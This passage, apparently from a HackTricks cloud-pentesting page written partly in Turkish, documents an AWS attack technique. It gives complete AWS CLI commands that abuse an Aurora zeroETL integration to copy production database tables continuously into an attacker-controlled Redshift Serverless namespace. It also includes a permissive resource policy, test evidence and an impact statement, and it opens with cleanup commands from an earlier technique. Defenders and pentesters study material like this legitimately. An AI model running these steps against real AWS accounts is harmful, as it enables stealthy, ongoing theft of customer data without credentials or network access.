aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
Aurora PostgreSQL zeroETL entegrasyonunu suistimal ederek üretim verilerini sizin kontrolünüzdeki bir Redshift Serverless namespace'e sürekli olarak replike edin. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren gevşek bir Redshift resource policy ile bir saldırgan, DB kimlik bilgileri, snapshot veya ağ açığı olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
Gerekli izinler (asgari):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulamak için)
- `rds-data:ExecuteStatement` (istemci; gerekiyorsa veri başlatmak için)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Create Redshift Serverless namespace + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
```
</details>
<details>
<summary>2) Aurora kaynağına izin vermek için Redshift kaynak politikasını yapılandırın</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
```
</details>
<details>
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication etkinleştirin)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zeroETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
```
</details>
<details>
<summary>4) RDS'den zeroETL entegrasyonunu oluşturun</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
```
</details>
<details>
<summary>5) Redshift'te çoğaltılmış verileri maddileştirin ve sorgulayın</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration" # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
```
</details>
Testte gözlemlenen kanıtlar:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION, DB oluşturulmasından önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve durum PendingDbConnectState gösterdi.
- CREATE DATABASE FROM INTEGRATION işleminden sonra tabloları listelemek ztl şemasını ve customers tablosunu ortaya çıkardı; ztl.customers'tan yapılan seçim 2 satır döndürdü (Alice, Bob).
Etkisi: Seçili Aurora PostgreSQL tablolarının saldırgan tarafından kontrol edilen Redshift Serverless'e sürekli ve neredeyse gerçek zamanlı olarak sızdırılması; bu süreçte veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmıyor.
{{#include ../../../banners/hacktricks-training.md}}